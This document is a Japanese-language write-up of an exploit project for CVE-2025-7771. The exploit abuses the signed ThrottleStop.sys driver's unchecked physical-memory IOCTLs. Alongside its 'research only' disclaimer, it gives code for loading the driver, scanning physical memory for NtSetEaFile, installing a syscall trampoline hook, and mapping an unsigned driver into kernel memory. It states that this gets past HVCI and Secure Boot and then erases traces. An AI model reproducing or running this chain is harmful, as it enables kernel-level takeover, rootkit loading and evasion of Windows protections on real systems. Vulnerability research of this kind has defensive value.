
throttlestopの脆弱性を利用して、未署名ドライバからシステム権限を昇格させる
CVE-2025-7771 — ThrottleStop.sys IOCTLによる任意物理メモリ読み取り/書き込み
このプロジェクトは教育および研究目的のみで公開されています。その目的は、署名された信頼済みカーネルドライバーが、AdministratorからSYSTEM/カーネルへのローカル特権昇格(LPE)のために悪用され得ることを実証し、HVCI(ハイパーバイザー適用コード整合性)やセキュアブートを含む最新のWindowsセキュリティ機能を実質的に回避できることを示すことです。
悪意のある目的でこのツールを使用しないでください。 作者は誤用について一切責任を負いません。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2025-7771 |
| ドライバー | ThrottleStop.sys (ThrottleStopに同梱) |
| ベンダー | TechPowerUp / Kevin Glynn |
| 種別 | 任意物理メモリ読み取り/書き込み |
| 影響 | ローカル特権昇格 (Admin → Kernel) |
| CVSS | 8.2 (高) |
| 署名 | WHQL / アテステーションによるMicrosoft署名 |
| HVCI回避 | ✅ はい — ドライバーは正当に署名されており、CIポリシーで許可されています |
ThrottleStop.sysを同梱する全バージョンThrottleStop.sysカーネルドライバーは、ローカルのAdministratorなら誰でもアクセス可能なデバイス(\\.\ThrottleStop)を公開しています。このデバイスは、無制限の物理メモリアクセスを提供する2つのIOCTLを実装しています:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
ドライバーはMmMapIoSpace()を呼び出して要求された物理アドレスをカーネル仮想空間にマップし、データを出力バッファにコピーしてからMmUnmapIoSpace()を呼び出します。物理アドレスに対する検証は一切行われません — 物理アドレス空間内の任意のアドレスを読み取ることができます。
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
読み取りと同じ仕組みですが、ユーザーが指定したデータをマップした物理アドレスに書き込みます。ここでもアドレスまたは範囲の検証は一切ありません。
このドライバーは、ThrottleStop(CPUアンダーボルティング/スロットリングユーティリティ)がMSRやハードウェアレジスタを直接読み書きできるように設計されました。物理メモリIOCTLはおそらくPCIコンフィギュレーションスペースやCPU温度センサーへのMMIOアクセスのために追加されたものですが、実装にはゼロの境界チェックしかありません:
GENERIC_READ | GENERIC_WRITEハンドルアクセスを要求する以外のACL制限がないこれにより、正当なハードウェアユーティリティドライバーが完全なカーネルレベルの読み取り/書き込みプリミティブに変貌します。
このエクスプロイトチェーンは、ローカルAdministratorアカウントから任意のカーネルコード実行へと昇格し、実質的にSYSTEMレベルのring-0制御を達成します。
マッパーはThrottleStop.sysを%TEMP%に配置し、HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStopの下にサービスレジストリエントリを作成し、NtLoadDriver()を介して読み込みます:
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
注記: ThrottleStop.sysは正当に署名されているため、HVCI/セキュアブートが有効でも読み込まれます。WindowsのCIポリシーはその証明書を信頼します。
デバイスハンドルを取得すると、エクスプロイトはシステム上の任意の物理アドレスを読み書きできます:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
エクスプロイトはこれらをヘルパー関数にラップし、任意の長さの転送のためにチャンク読み取り/書き込み(1、2、4、または8バイト/回)を処理します。
任意のカーネル関数を実行するために、エクスプロイトはカーネルsyscallハンドラの物理アドレスを見つける必要があります。対象はNtSetEaFile(めったに監視されないsyscall)です:
LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)でユーザーモードのntoskrnl.exeを読み込み、NtSetEaFileのRVAを取得するRVA & 0x1FFFFF となるHARDWARE\RESOURCEMAP\System Resources\Physical Memory)から物理メモリ範囲を列挙し、2MB単位でストライドしてバイトを比較する:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid)を実行し、返されたベースがGetModuleHandle(NULL)と一致することを確認する。NtSetEaFileの物理アドレスが判明したら、エクスプロイトは物理メモリ書き込みを介して12バイトのトランポリンを直接インストールします:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
重要な洞察: 物理ページへの書き込みはHVCIの仮想メモリ保護をバイパスします。HVCIは
W+X仮想ページを防ぎますが、ドライバー内のMmMapIoSpaceを介した物理メモリ書き込みはRAMに直接到達します。
syscallフックプリミティブを使用すると、エクスプロイトは任意のカーネル関数を任意の引数で呼び出すことができます:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
これにより、未署名ドライバーをカーネル空間にマップして実行できます — 完全な特権昇格です。
ペイロードを読み込んだ後、エクスプロイトはすべての痕跡を消去します: